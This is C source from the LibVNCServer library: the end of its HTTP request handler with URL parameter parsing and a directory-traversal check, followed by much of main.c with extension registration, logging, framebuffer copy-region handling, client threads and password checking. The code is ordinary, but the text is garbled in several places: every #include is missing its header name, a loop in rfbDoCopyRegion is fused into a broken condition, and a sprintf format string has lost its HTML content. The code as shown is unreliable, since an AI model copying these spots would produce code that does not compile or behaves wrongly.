char host[1024]; #ifdef LIBVNCSERVER_IPv6 if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) { rfbLogPerror("httpCheckFds: error in getnameinfo"); host[0] = '\0'; } #else memcpy(host, inet_ntoa(addr.sin_addr), sizeof(host)); #endif if(!hosts_ctl("vnc",STRING_UNKNOWN, host, STRING_UNKNOWN)) { rfbLog("Rejected HTTP connection from client %s\n", host); close(rfbScreen->httpSock); rfbScreen->httpSock=-1; return; } #endif if(!rfbSetNonBlocking(rfbScreen->httpSock)) { close(rfbScreen->httpSock); rfbScreen->httpSock=-1; return; } /*AddEnabledDevice(httpSock);*/ } } static void httpCloseSock(rfbScreenInfoPtr rfbScreen) { close(rfbScreen->httpSock); rfbScreen->httpSock = -1; buf_filled = 0; } static rfbClientRec cl; /* * httpProcessInput is called when input is received on the HTTP socket. */ static void httpProcessInput(rfbScreenInfoPtr rfbScreen) { #ifdef LIBVNCSERVER_IPv6 struct sockaddr_storage addr; #else struct sockaddr_in addr; #endif socklen_t addrlen = sizeof(addr); char fullFname[512]; char params[1024]; char *ptr; char *fname; unsigned int maxFnameLen; FILE* fd; rfbBool performSubstitutions = FALSE; char str[256+32]; #ifndef WIN32 char* user=getenv("USER"); #endif cl.sock=rfbScreen->httpSock; if (strlen(rfbScreen->httpDir) > 255) { rfbErr("-httpd directory too long\n"); httpCloseSock(rfbScreen); return; } strcpy(fullFname, rfbScreen->httpDir); fname = &fullFname[strlen(fullFname)]; maxFnameLen = 511 - strlen(fullFname); buf_filled=0; /* Read data from the HTTP client until we get a complete request. */ while (1) { ssize_t got; if (buf_filled > sizeof (buf)) { rfbErr("httpProcessInput: HTTP request is too long\n"); httpCloseSock(rfbScreen); return; } got = read (rfbScreen->httpSock, buf + buf_filled, sizeof (buf) - buf_filled - 1); if (got <= 0) { if (got == 0) { rfbErr("httpd: premature connection close\n"); } else { #ifdef WIN32 errno=WSAGetLastError(); #endif if (errno == EAGAIN) { return; } rfbLogPerror("httpProcessInput: read"); } httpCloseSock(rfbScreen); return; } buf_filled += got; buf[buf_filled] = '\0'; /* Is it complete yet (is there a blank line)? */ if (strstr (buf, "\r\r") || strstr (buf, "\n\n") || strstr (buf, "\r\n\r\n") || strstr (buf, "\n\r\n\r")) break; } /* Process the request. */ if(rfbScreen->httpEnableProxyConnect) { const static char* PROXY_OK_STR = "HTTP/1.0 200 OK\r\nContent-Type: octet-stream\r\nPragma: no-cache\r\n\r\n"; if(!strncmp(buf, "CONNECT ", 8)) { if(atoi(strchr(buf, ':')+1)!=rfbScreen->port) { rfbErr("httpd: CONNECT format invalid.\n"); rfbWriteExact(&cl,INVALID_REQUEST_STR, strlen(INVALID_REQUEST_STR)); httpCloseSock(rfbScreen); return; } /* proxy connection */ rfbLog("httpd: client asked for CONNECT\n"); rfbWriteExact(&cl,PROXY_OK_STR,strlen(PROXY_OK_STR)); rfbNewClientConnection(rfbScreen,rfbScreen->httpSock); rfbScreen->httpSock = -1; return; } if (!strncmp(buf, "GET ",4) && !strncmp(strchr(buf,'/'),"/proxied.connection HTTP/1.", 27)) { /* proxy connection */ rfbLog("httpd: client asked for /proxied.connection\n"); rfbWriteExact(&cl,PROXY_OK_STR,strlen(PROXY_OK_STR)); rfbNewClientConnection(rfbScreen,rfbScreen->httpSock); rfbScreen->httpSock = -1; return; } } if (strncmp(buf, "GET ", 4)) { rfbErr("httpd: no GET line\n"); httpCloseSock(rfbScreen); return; } else { /* Only use the first line. */ buf[strcspn(buf, "\n\r")] = '\0'; } if (strlen(buf) > maxFnameLen) { rfbErr("httpd: GET line too long\n"); httpCloseSock(rfbScreen); return; } if (sscanf(buf, "GET %s HTTP/1.", fname) != 1) { rfbErr("httpd: couldn't parse GET line\n"); httpCloseSock(rfbScreen); return; } if (fname[0] != '/') { rfbErr("httpd: filename didn't begin with '/'\n"); rfbWriteExact(&cl, NOT_FOUND_STR, strlen(NOT_FOUND_STR)); httpCloseSock(rfbScreen); return; } getpeername(rfbScreen->httpSock, (struct sockaddr *)&addr, &addrlen); #ifdef LIBVNCSERVER_IPv6 { char host[1024]; if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) { rfbLogPerror("httpProcessInput: error in getnameinfo"); } rfbLog("httpd: get '%s' for %s\n", fname+1, host); } #else rfbLog("httpd: get '%s' for %s\n", fname+1, inet_ntoa(addr.sin_addr)); #endif /* Extract parameters from the URL string if necessary */ params[0] = '\0'; ptr = strchr(fname, '?'); if (ptr != NULL) { *ptr = '\0'; if (!parseParams(&ptr[1], params, 1024)) { params[0] = '\0'; rfbErr("httpd: bad parameters in the URL\n"); } } /* Basic protection against directory traversal outside webroot */ if (strstr(fname, "..")) { rfbErr("httpd: URL should not contain '..'\n"); rfbWriteExact(&cl, NOT_FOUND_STR, strlen(NOT_FOUND_STR)); httpCloseSock(rfbScreen); return; } /* If we were asked for '/', actually read the file index.vnc */ if (strcmp(fname, "/") == 0) { strcpy(fname, "/index.vnc"); rfbLog("httpd: defaulting to '%s'\n", fname+1); } /* Substitutions are performed on files ending .vnc */ if (strlen(fname) >= 4 && strcmp(&fname[strlen(fname)-4], ".vnc") == 0) { performSubstitutions = TRUE; } /* Open the file */ if ((fd = fopen(fullFname, "r")) == 0) { rfbLogPerror("httpProcessInput: open"); rfbWriteExact(&cl, NOT_FOUND_STR, strlen(NOT_FOUND_STR)); httpCloseSock(rfbScreen); return; } rfbWriteExact(&cl, OK_STR, strlen(OK_STR)); char *ext = strrchr(fname, '.'); char *contentType = ""; if(ext && strcasecmp(ext, ".vnc") == 0) contentType = "Content-Type: text/html\r\n"; else if(ext && strcasecmp(ext, ".css") == 0) contentType = "Content-Type: text/css\r\n"; else if(ext && strcasecmp(ext, ".svg") == 0) contentType = "Content-Type: image/svg+xml\r\n"; rfbWriteExact(&cl, contentType, strlen(contentType)); /* end the header */ rfbWriteExact(&cl, "\r\n", 2); while (1) { int n = fread(buf, 1, BUF_SIZE-1, fd); if (n < 0) { rfbLogPerror("httpProcessInput: read"); fclose(fd); httpCloseSock(rfbScreen); return; } if (n == 0) break; if (performSubstitutions) { /* Substitute $WIDTH, $HEIGHT, etc with the appropriate values. This won't quite work properly if the .vnc file is longer than BUF_SIZE, but it's reasonable to assume that .vnc files will always be short. */ char *ptr = buf; char *dollar; buf[n] = 0; /* make sure it's null-terminated */ while ((dollar = strchr(ptr, '$'))!=NULL) { rfbWriteExact(&cl, ptr, (dollar - ptr)); ptr = dollar; if (compareAndSkip(&ptr, "$WIDTH")) { sprintf(str, "%d", rfbScreen->width); rfbWriteExact(&cl, str, strlen(str)); } else if (compareAndSkip(&ptr, "$HEIGHT")) { sprintf(str, "%d", rfbScreen->height); rfbWriteExact(&cl, str, strlen(str)); } else if (compareAndSkip(&ptr, "$APPLETWIDTH")) { sprintf(str, "%d", rfbScreen->width); rfbWriteExact(&cl, str, strlen(str)); } else if (compareAndSkip(&ptr, "$APPLETHEIGHT")) { sprintf(str, "%d", rfbScreen->height + 32); rfbWriteExact(&cl, str, strlen(str)); } else if (compareAndSkip(&ptr, "$PORT")) { sprintf(str, "%d", rfbScreen->port); rfbWriteExact(&cl, str, strlen(str)); } else if (compareAndSkip(&ptr, "$DESKTOP")) { rfbWriteExact(&cl, rfbScreen->desktopName, strlen(rfbScreen->desktopName)); } else if (compareAndSkip(&ptr, "$DISPLAY")) { sprintf(str, "%s:%d", rfbScreen->thisHost, rfbScreen->port-5900); rfbWriteExact(&cl, str, strlen(str)); } else if (compareAndSkip(&ptr, "$USER")) { #ifndef WIN32 if (user) { rfbWriteExact(&cl, user, strlen(user)); } else #endif rfbWriteExact(&cl, "?", 1); } else if (compareAndSkip(&ptr, "$PARAMS")) { if (params[0] != '\0') rfbWriteExact(&cl, params, strlen(params)); } else { if (!compareAndSkip(&ptr, "$$")) ptr++; if (rfbWriteExact(&cl, "$", 1) < 0) { fclose(fd); httpCloseSock(rfbScreen); return; } } } if (rfbWriteExact(&cl, ptr, (&buf[n] - ptr)) < 0) break; } else { /* For files not ending .vnc, just write out the buffer */ if (rfbWriteExact(&cl, buf, n) < 0) break; } } fclose(fd); httpCloseSock(rfbScreen); } static rfbBool compareAndSkip(char **ptr, const char *str) { if (strncmp(*ptr, str, strlen(str)) == 0) { *ptr += strlen(str); return TRUE; } return FALSE; } /* * Parse the request tail after the '?' character, and format a sequence * of tags for inclusion into an HTML page with embedded applet. */ static rfbBool parseParams(const char *request, char *result, int max_bytes) { char param_request[128]; char param_formatted[196]; const char *tail; char *delim_ptr; char *value_str; int cur_bytes, len; result[0] = '\0'; cur_bytes = 0; tail = request; for (;;) { /* Copy individual "name=value" string into a buffer */ delim_ptr = strchr((char *)tail, '&'); if (delim_ptr == NULL) { if (strlen(tail) >= sizeof(param_request)) { return FALSE; } strcpy(param_request, tail); } else { len = delim_ptr - tail; if (len >= sizeof(param_request)) { return FALSE; } memcpy(param_request, tail, len); param_request[len] = '\0'; } /* Split the request into parameter name and value */ value_str = strchr(¶m_request[1], '='); if (value_str == NULL) { return FALSE; } *value_str++ = '\0'; if (strlen(value_str) == 0) { return FALSE; } /* Validate both parameter name and value */ if (!validateString(param_request) || !validateString(value_str)) { return FALSE; } /* Prepare HTML-formatted representation of the name=value pair */ len = sprintf(param_formatted, "\n", param_request, value_str); if (cur_bytes + len + 1 > max_bytes) { return FALSE; } strcat(result, param_formatted); cur_bytes += len; /* Go to the next parameter */ if (delim_ptr == NULL) { break; } tail = delim_ptr + 1; } return TRUE; } /* * Check if the string consists only of alphanumeric characters, '+' * signs, underscores, dots, colons and square brackets. * Replace all '+' signs with spaces. */ static rfbBool validateString(char *str) { char *ptr; for (ptr = str; *ptr != '\0'; ptr++) { if (!isalnum(*ptr) && *ptr != '_' && *ptr != '.' && *ptr != ':' && *ptr != '[' && *ptr != ']' ) { if (*ptr == '+') { *ptr = ' '; } else { return FALSE; } } } return TRUE; } libvncserver-LibVNCServer-0.9.11/libvncserver/main.c000066400000000000000000000744751303145525000223630ustar00rootroot00000000000000/* * This file is called main.c, because it contains most of the new functions * for use with LibVNCServer. * * LibVNCServer (C) 2001 Johannes E. Schindelin * Original OSXvnc (C) 2001 Dan McGuirk . * Original Xvnc (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * see GPL (latest version) for full details */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #endif #include #include #include "private.h" #include #include #ifndef false #define false 0 #define true -1 #endif #ifdef LIBVNCSERVER_HAVE_SYS_TYPES_H #include #endif #ifndef WIN32 #include #include #include #endif #include #include static int extMutex_initialized = 0; static int logMutex_initialized = 0; #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD static MUTEX(logMutex); static MUTEX(extMutex); #endif static int rfbEnableLogging=1; #ifdef LIBVNCSERVER_WORDS_BIGENDIAN char rfbEndianTest = (1==0); #else char rfbEndianTest = (1==1); #endif /* * Protocol extensions */ static rfbProtocolExtension* rfbExtensionHead = NULL; /* * This method registers a list of new extensions. * It avoids same extension getting registered multiple times. * The order is not preserved if multiple extensions are * registered at one-go. */ void rfbRegisterProtocolExtension(rfbProtocolExtension* extension) { rfbProtocolExtension *head = rfbExtensionHead, *next = NULL; if(extension == NULL) return; next = extension->next; if (! extMutex_initialized) { INIT_MUTEX(extMutex); extMutex_initialized = 1; } LOCK(extMutex); while(head != NULL) { if(head == extension) { UNLOCK(extMutex); rfbRegisterProtocolExtension(next); return; } head = head->next; } extension->next = rfbExtensionHead; rfbExtensionHead = extension; UNLOCK(extMutex); rfbRegisterProtocolExtension(next); } /* * This method unregisters a list of extensions. * These extensions won't be available for any new * client connection. */ void rfbUnregisterProtocolExtension(rfbProtocolExtension* extension) { rfbProtocolExtension *cur = NULL, *pre = NULL; if(extension == NULL) return; if (! extMutex_initialized) { INIT_MUTEX(extMutex); extMutex_initialized = 1; } LOCK(extMutex); if(rfbExtensionHead == extension) { rfbExtensionHead = rfbExtensionHead->next; UNLOCK(extMutex); rfbUnregisterProtocolExtension(extension->next); return; } cur = pre = rfbExtensionHead; while(cur) { if(cur == extension) { pre->next = cur->next; break; } pre = cur; cur = cur->next; } UNLOCK(extMutex); rfbUnregisterProtocolExtension(extension->next); } rfbProtocolExtension* rfbGetExtensionIterator() { if (! extMutex_initialized) { INIT_MUTEX(extMutex); extMutex_initialized = 1; } LOCK(extMutex); return rfbExtensionHead; } void rfbReleaseExtensionIterator() { UNLOCK(extMutex); } rfbBool rfbEnableExtension(rfbClientPtr cl, rfbProtocolExtension* extension, void* data) { rfbExtensionData* extData; /* make sure extension is not yet enabled. */ for(extData = cl->extensions; extData; extData = extData->next) if(extData->extension == extension) return FALSE; extData = calloc(sizeof(rfbExtensionData),1); extData->extension = extension; extData->data = data; extData->next = cl->extensions; cl->extensions = extData; return TRUE; } rfbBool rfbDisableExtension(rfbClientPtr cl, rfbProtocolExtension* extension) { rfbExtensionData* extData; rfbExtensionData* prevData = NULL; for(extData = cl->extensions; extData; extData = extData->next) { if(extData->extension == extension) { if(extData->data) free(extData->data); if(prevData == NULL) cl->extensions = extData->next; else prevData->next = extData->next; return TRUE; } prevData = extData; } return FALSE; } void* rfbGetExtensionClientData(rfbClientPtr cl, rfbProtocolExtension* extension) { rfbExtensionData* data = cl->extensions; while(data && data->extension != extension) data = data->next; if(data == NULL) { rfbLog("Extension is not enabled !\n"); /* rfbCloseClient(cl); */ return NULL; } return data->data; } /* * Logging */ void rfbLogEnable(int enabled) { rfbEnableLogging=enabled; } /* * rfbLog prints a time-stamped message to the log file (stderr). */ static void rfbDefaultLog(const char *format, ...) { va_list args; char buf[256]; time_t log_clock; if(!rfbEnableLogging) return; if (! logMutex_initialized) { INIT_MUTEX(logMutex); logMutex_initialized = 1; } LOCK(logMutex); va_start(args, format); time(&log_clock); strftime(buf, 255, "%d/%m/%Y %X ", localtime(&log_clock)); fprintf(stderr, "%s", buf); vfprintf(stderr, format, args); fflush(stderr); va_end(args); UNLOCK(logMutex); } rfbLogProc rfbLog=rfbDefaultLog; rfbLogProc rfbErr=rfbDefaultLog; void rfbLogPerror(const char *str) { rfbErr("%s: %s\n", str, strerror(errno)); } void rfbScheduleCopyRegion(rfbScreenInfoPtr rfbScreen,sraRegionPtr copyRegion,int dx,int dy) { rfbClientIteratorPtr iterator; rfbClientPtr cl; iterator=rfbGetClientIterator(rfbScreen); while((cl=rfbClientIteratorNext(iterator))) { LOCK(cl->updateMutex); if(cl->useCopyRect) { sraRegionPtr modifiedRegionBackup; if(!sraRgnEmpty(cl->copyRegion)) { if(cl->copyDX!=dx || cl->copyDY!=dy) { /* if a copyRegion was not yet executed, treat it as a * modifiedRegion. The idea: in this case it could be * source of the new copyRect or modified anyway. */ sraRgnOr(cl->modifiedRegion,cl->copyRegion); sraRgnMakeEmpty(cl->copyRegion); } else { /* we have to set the intersection of the source of the copy * and the old copy to modified. */ modifiedRegionBackup=sraRgnCreateRgn(copyRegion); sraRgnOffset(modifiedRegionBackup,-dx,-dy); sraRgnAnd(modifiedRegionBackup,cl->copyRegion); sraRgnOr(cl->modifiedRegion,modifiedRegionBackup); sraRgnDestroy(modifiedRegionBackup); } } sraRgnOr(cl->copyRegion,copyRegion); cl->copyDX = dx; cl->copyDY = dy; /* if there were modified regions, which are now copied, * mark them as modified, because the source of these can be overlapped * either by new modified or now copied regions. */ modifiedRegionBackup=sraRgnCreateRgn(cl->modifiedRegion); sraRgnOffset(modifiedRegionBackup,dx,dy); sraRgnAnd(modifiedRegionBackup,cl->copyRegion); sraRgnOr(cl->modifiedRegion,modifiedRegionBackup); sraRgnDestroy(modifiedRegionBackup); if(!cl->enableCursorShapeUpdates) { /* * n.b. (dx, dy) is the vector pointing in the direction the * copyrect displacement will take place. copyRegion is the * destination rectangle (say), not the source rectangle. */ sraRegionPtr cursorRegion; int x = cl->cursorX - cl->screen->cursor->xhot; int y = cl->cursorY - cl->screen->cursor->yhot; int w = cl->screen->cursor->width; int h = cl->screen->cursor->height; cursorRegion = sraRgnCreateRect(x, y, x + w, y + h); sraRgnAnd(cursorRegion, cl->copyRegion); if(!sraRgnEmpty(cursorRegion)) { /* * current cursor rect overlaps with the copy region *dest*, * mark it as modified since we won't copy-rect stuff to it. */ sraRgnOr(cl->modifiedRegion, cursorRegion); } sraRgnDestroy(cursorRegion); cursorRegion = sraRgnCreateRect(x, y, x + w, y + h); /* displace it to check for overlap with copy region source: */ sraRgnOffset(cursorRegion, dx, dy); sraRgnAnd(cursorRegion, cl->copyRegion); if(!sraRgnEmpty(cursorRegion)) { /* * current cursor rect overlaps with the copy region *source*, * mark the *displaced* cursorRegion as modified since we * won't copyrect stuff to it. */ sraRgnOr(cl->modifiedRegion, cursorRegion); } sraRgnDestroy(cursorRegion); } } else { sraRgnOr(cl->modifiedRegion,copyRegion); } TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); } rfbReleaseClientIterator(iterator); } void rfbDoCopyRegion(rfbScreenInfoPtr screen,sraRegionPtr copyRegion,int dx,int dy) { sraRectangleIterator* i; sraRect rect; int j,widthInBytes,bpp=screen->serverFormat.bitsPerPixel/8, rowstride=screen->paddedWidthInBytes; char *in,*out; /* copy it, really */ i = sraRgnGetReverseIterator(copyRegion,dx<0,dy<0); while(sraRgnIteratorNext(i,&rect)) { widthInBytes = (rect.x2-rect.x1)*bpp; out = screen->frameBuffer+rect.x1*bpp+rect.y1*rowstride; in = screen->frameBuffer+(rect.x1-dx)*bpp+(rect.y1-dy)*rowstride; if(dy<0) for(j=rect.y1;j=rect.y1;j--,out-=rowstride,in-=rowstride) memmove(out,in,widthInBytes); } } sraRgnReleaseIterator(i); rfbScheduleCopyRegion(screen,copyRegion,dx,dy); } void rfbDoCopyRect(rfbScreenInfoPtr screen,int x1,int y1,int x2,int y2,int dx,int dy) { sraRegionPtr region = sraRgnCreateRect(x1,y1,x2,y2); rfbDoCopyRegion(screen,region,dx,dy); sraRgnDestroy(region); } void rfbScheduleCopyRect(rfbScreenInfoPtr screen,int x1,int y1,int x2,int y2,int dx,int dy) { sraRegionPtr region = sraRgnCreateRect(x1,y1,x2,y2); rfbScheduleCopyRegion(screen,region,dx,dy); sraRgnDestroy(region); } void rfbMarkRegionAsModified(rfbScreenInfoPtr screen,sraRegionPtr modRegion) { rfbClientIteratorPtr iterator; rfbClientPtr cl; iterator=rfbGetClientIterator(screen); while((cl=rfbClientIteratorNext(iterator))) { LOCK(cl->updateMutex); sraRgnOr(cl->modifiedRegion,modRegion); TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); } rfbReleaseClientIterator(iterator); } void rfbScaledScreenUpdate(rfbScreenInfoPtr screen, int x1, int y1, int x2, int y2); void rfbMarkRectAsModified(rfbScreenInfoPtr screen,int x1,int y1,int x2,int y2) { sraRegionPtr region; int i; if(x1>x2) { i=x1; x1=x2; x2=i; } if(x1<0) x1=0; if(x2>screen->width) x2=screen->width; if(x1==x2) return; if(y1>y2) { i=y1; y1=y2; y2=i; } if(y1<0) y1=0; if(y2>screen->height) y2=screen->height; if(y1==y2) return; /* update scaled copies for this rectangle */ rfbScaledScreenUpdate(screen,x1,y1,x2,y2); region = sraRgnCreateRect(x1,y1,x2,y2); rfbMarkRegionAsModified(screen,region); sraRgnDestroy(region); } #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD #include static void * clientOutput(void *data) { rfbClientPtr cl = (rfbClientPtr)data; rfbBool haveUpdate; sraRegion* updateRegion; while (1) { haveUpdate = false; while (!haveUpdate) { if (cl->sock == -1) { /* Client has disconnected. */ return NULL; } if (cl->state != RFB_NORMAL || cl->onHold) { /* just sleep until things get normal */ usleep(cl->screen->deferUpdateTime * 1000); continue; } LOCK(cl->updateMutex); if (sraRgnEmpty(cl->requestedRegion)) { ; /* always require a FB Update Request (otherwise can crash.) */ } else { haveUpdate = FB_UPDATE_PENDING(cl); if(!haveUpdate) { updateRegion = sraRgnCreateRgn(cl->modifiedRegion); haveUpdate = sraRgnAnd(updateRegion,cl->requestedRegion); sraRgnDestroy(updateRegion); } } if (!haveUpdate) { WAIT(cl->updateCond, cl->updateMutex); } UNLOCK(cl->updateMutex); } /* OK, now, to save bandwidth, wait a little while for more updates to come along. */ usleep(cl->screen->deferUpdateTime * 1000); /* Now, get the region we're going to update, and remove it from cl->modifiedRegion _before_ we send the update. That way, if anything that overlaps the region we're sending is updated, we'll be sure to do another update later. */ LOCK(cl->updateMutex); updateRegion = sraRgnCreateRgn(cl->modifiedRegion); UNLOCK(cl->updateMutex); /* Now actually send the update. */ rfbIncrClientRef(cl); LOCK(cl->sendMutex); rfbSendFramebufferUpdate(cl, updateRegion); UNLOCK(cl->sendMutex); rfbDecrClientRef(cl); sraRgnDestroy(updateRegion); } /* Not reached. */ return NULL; } static void * clientInput(void *data) { rfbClientPtr cl = (rfbClientPtr)data; pthread_t output_thread; pthread_create(&output_thread, NULL, clientOutput, (void *)cl); while (1) { fd_set rfds, wfds, efds; struct timeval tv; int n; if (cl->sock == -1) { /* Client has disconnected. */ break; } FD_ZERO(&rfds); FD_SET(cl->sock, &rfds); FD_ZERO(&efds); FD_SET(cl->sock, &efds); /* Are we transferring a file in the background? */ FD_ZERO(&wfds); if ((cl->fileTransfer.fd!=-1) && (cl->fileTransfer.sending==1)) FD_SET(cl->sock, &wfds); tv.tv_sec = 60; /* 1 minute */ tv.tv_usec = 0; n = select(cl->sock + 1, &rfds, &wfds, &efds, &tv); if (n < 0) { rfbLogPerror("ReadExact: select"); break; } if (n == 0) /* timeout */ { rfbSendFileTransferChunk(cl); continue; } /* We have some space on the transmit queue, send some data */ if (FD_ISSET(cl->sock, &wfds)) rfbSendFileTransferChunk(cl); if (FD_ISSET(cl->sock, &rfds) || FD_ISSET(cl->sock, &efds)) { #ifdef LIBVNCSERVER_WITH_WEBSOCKETS do { rfbProcessClientMessage(cl); } while (webSocketsHasDataInBuffer(cl)); #else rfbProcessClientMessage(cl); #endif } } /* Get rid of the output thread. */ LOCK(cl->updateMutex); TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); IF_PTHREADS(pthread_join(output_thread, NULL)); rfbClientConnectionGone(cl); return NULL; } static void* listenerRun(void *data) { rfbScreenInfoPtr screen=(rfbScreenInfoPtr)data; int client_fd; struct sockaddr_storage peer; rfbClientPtr cl = NULL; socklen_t len; fd_set listen_fds; /* temp file descriptor list for select() */ /* TODO: this thread won't die by restarting the server */ /* TODO: HTTP is not handled */ while (1) { client_fd = -1; FD_ZERO(&listen_fds); if(screen->listenSock >= 0) FD_SET(screen->listenSock, &listen_fds); if(screen->listen6Sock >= 0) FD_SET(screen->listen6Sock, &listen_fds); if (select(screen->maxFd+1, &listen_fds, NULL, NULL, NULL) == -1) { rfbLogPerror("listenerRun: error in select"); return NULL; } /* there is something on the listening sockets, handle new connections */ len = sizeof (peer); if (FD_ISSET(screen->listenSock, &listen_fds)) client_fd = accept(screen->listenSock, (struct sockaddr*)&peer, &len); else if (FD_ISSET(screen->listen6Sock, &listen_fds)) client_fd = accept(screen->listen6Sock, (struct sockaddr*)&peer, &len); if(client_fd >= 0) cl = rfbNewClient(screen,client_fd); if (cl && !cl->onHold ) rfbStartOnHoldClient(cl); } return(NULL); } #endif void rfbStartOnHoldClient(rfbClientPtr cl) { cl->onHold = FALSE; #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(cl->screen->backgroundLoop) pthread_create(&cl->client_thread, NULL, clientInput, (void *)cl); #endif } void rfbRefuseOnHoldClient(rfbClientPtr cl) { rfbCloseClient(cl); rfbClientConnectionGone(cl); } static void rfbDefaultKbdAddEvent(rfbBool down, rfbKeySym keySym, rfbClientPtr cl) { } void rfbDefaultPtrAddEvent(int buttonMask, int x, int y, rfbClientPtr cl) { rfbClientIteratorPtr iterator; rfbClientPtr other_client; rfbScreenInfoPtr s = cl->screen; if (x != s->cursorX || y != s->cursorY) { LOCK(s->cursorMutex); s->cursorX = x; s->cursorY = y; UNLOCK(s->cursorMutex); /* The cursor was moved by this client, so don't send CursorPos. */ if (cl->enableCursorPosUpdates) cl->cursorWasMoved = FALSE; /* But inform all remaining clients about this cursor movement. */ iterator = rfbGetClientIterator(s); while ((other_client = rfbClientIteratorNext(iterator)) != NULL) { if (other_client != cl && other_client->enableCursorPosUpdates) { other_client->cursorWasMoved = TRUE; } } rfbReleaseClientIterator(iterator); } } static void rfbDefaultSetXCutText(char* text, int len, rfbClientPtr cl) { } /* TODO: add a nice VNC or RFB cursor */ #if defined(WIN32) || defined(sparc) || !defined(NO_STRICT_ANSI) static rfbCursor myCursor = { FALSE, FALSE, FALSE, FALSE, (unsigned char*)"\000\102\044\030\044\102\000", (unsigned char*)"\347\347\176\074\176\347\347", 8, 7, 3, 3, 0, 0, 0, 0xffff, 0xffff, 0xffff, NULL }; #else static rfbCursor myCursor = { cleanup: FALSE, cleanupSource: FALSE, cleanupMask: FALSE, cleanupRichSource: FALSE, source: "\000\102\044\030\044\102\000", mask: "\347\347\176\074\176\347\347", width: 8, height: 7, xhot: 3, yhot: 3, foreRed: 0, foreGreen: 0, foreBlue: 0, backRed: 0xffff, backGreen: 0xffff, backBlue: 0xffff, richSource: NULL }; #endif static rfbCursorPtr rfbDefaultGetCursorPtr(rfbClientPtr cl) { return(cl->screen->cursor); } /* response is cl->authChallenge vncEncrypted with passwd */ static rfbBool rfbDefaultPasswordCheck(rfbClientPtr cl,const char* response,int len) { int i; char *passwd=rfbDecryptPasswdFromFile(cl->screen->authPasswdData); if(!passwd) { rfbErr("Couldn't read password file: %s\n",cl->screen->authPasswdData); return(FALSE); } rfbEncryptBytes(cl->authChallenge, passwd); /* Lose the password from memory */ for (i = strlen(passwd); i >= 0; i--) { passwd[i] = '\0'; } free(passwd); if (memcmp(cl->authChallenge, response, len) != 0) { rfbErr("authProcessClientMessage: authentication failed from %s\n", cl->host); return(FALSE); } return(TRUE); } /* for this method, authPasswdData is really a pointer to an array of char*'s, where the last pointer is 0. */ rfbBool rfbCheckPasswordByList(rfbClientPtr cl,const char* response,int len) { char **passwds; int i=0; for(passwds=(char**)cl->screen->authPasswdData;*passwds;passwds++,i++) { uint8_t auth_tmp[CHALLENGESIZE]; memcpy((char *)auth_tmp, (char *)cl->authChallenge, CHALLENGESIZE); rfbEncryptBytes(auth_tmp, *passwds); if (memcmp(auth_tmp, response, len) == 0) { if(i>=cl->screen->authPasswdFirstViewOnly) cl->viewOnly=TRUE; return(TRUE); } } rfbErr("authProcessClientMessage: authentication failed from %s\n", cl->host); return(FALSE); } void rfbDoNothingWithClient(rfbClientPtr cl) { } static enum rfbNewClientAction rfbDefaultNewClientHook(rfbClientPtr cl) { return RFB_CLIENT_ACCEPT; } /* * Update server's pixel format in screenInfo structure. This * function is called from rfbGetScreen() and rfbNewFramebuffer(). */ static void rfbInitServerFormat(rfbScreenInfoPtr screen, int bitsPerSample) { rfbPixelFormat* format=&screen->serverFormat; format->bitsPerPixel = screen->bitsPerPixel; format->depth = screen->depth; format->bigEndian = rfbEndianTest?FALSE:TRUE; format->trueColour = TRUE; screen->colourMap.count = 0; screen->colourMap.is16 = 0; screen->colourMap.data.bytes = NULL; if (format->bitsPerPixel == 8) { format->redMax = 7; format->greenMax = 7; format->blueMax = 3; format->redShift = 0; format->greenShift = 3; format->blueShift = 6; } else { format->redMax = (1 << bitsPerSample) - 1; format->greenMax = (1 << bitsPerSample) - 1; format->blueMax = (1 << bitsPerSample) - 1; if(rfbEndianTest) { format->redShift = 0; format->greenShift = bitsPerSample; format->blueShift = bitsPerSample * 2; } else { if(format->bitsPerPixel==8*3) { format->redShift = bitsPerSample*2; format->greenShift = bitsPerSample*1; format->blueShift = 0; } else { format->redShift = bitsPerSample*3; format->greenShift = bitsPerSample*2; format->blueShift = bitsPerSample; } } } } rfbScreenInfoPtr rfbGetScreen(int* argc,char** argv, int width,int height,int bitsPerSample,int samplesPerPixel, int bytesPerPixel) { rfbScreenInfoPtr screen=calloc(sizeof(rfbScreenInfo),1); if (! logMutex_initialized) { INIT_MUTEX(logMutex); logMutex_initialized = 1; } if(width&3) rfbErr("WARNING: Width (%d) is not a multiple of 4. VncViewer has problems with that.\n",width); screen->autoPort=FALSE; screen->clientHead=NULL; screen->pointerClient=NULL; screen->port=5900; screen->ipv6port=5900; screen->socketState=RFB_SOCKET_INIT; screen->inetdInitDone = FALSE; screen->inetdSock=-1; screen->udpSock=-1; screen->udpSockConnected=FALSE; screen->udpPort=0; screen->udpClient=NULL; screen->maxFd=0; screen->listenSock=-1; screen->listen6Sock=-1; screen->httpInitDone=FALSE; screen->httpEnableProxyConnect=FALSE; screen->httpPort=0; screen->http6Port=0; screen->httpDir=NULL; screen->httpListenSock=-1; screen->httpListen6Sock=-1; screen->httpSock=-1; screen->desktopName = "LibVNCServer"; screen->alwaysShared = FALSE; screen->neverShared = FALSE; screen->dontDisconnect = FALSE; screen->authPasswdData = NULL; screen->authPasswdFirstViewOnly = 1; screen->width = width; screen->height = height; screen->bitsPerPixel = screen->depth = 8*bytesPerPixel; screen->passwordCheck = rfbDefaultPasswordCheck; screen->ignoreSIGPIPE = TRUE; /* disable progressive updating per default */ screen->progressiveSliceHeight = 0; screen->listenInterface = htonl(INADDR_ANY); screen->deferUpdateTime=5; screen->maxRectsPerUpdate=50; screen->handleEventsEagerly = FALSE; screen->protocolMajorVersion = rfbProtocolMajorVersion; screen->protocolMinorVersion = rfbProtocolMinorVersion; screen->permitFileTransfer = FALSE; if(!rfbProcessArguments(screen,argc,argv)) { free(screen); return NULL; } #ifdef WIN32 { DWORD dummy=255; GetComputerName(screen->thisHost,&dummy); } #else gethostname(screen->thisHost, 255); #endif screen->paddedWidthInBytes = 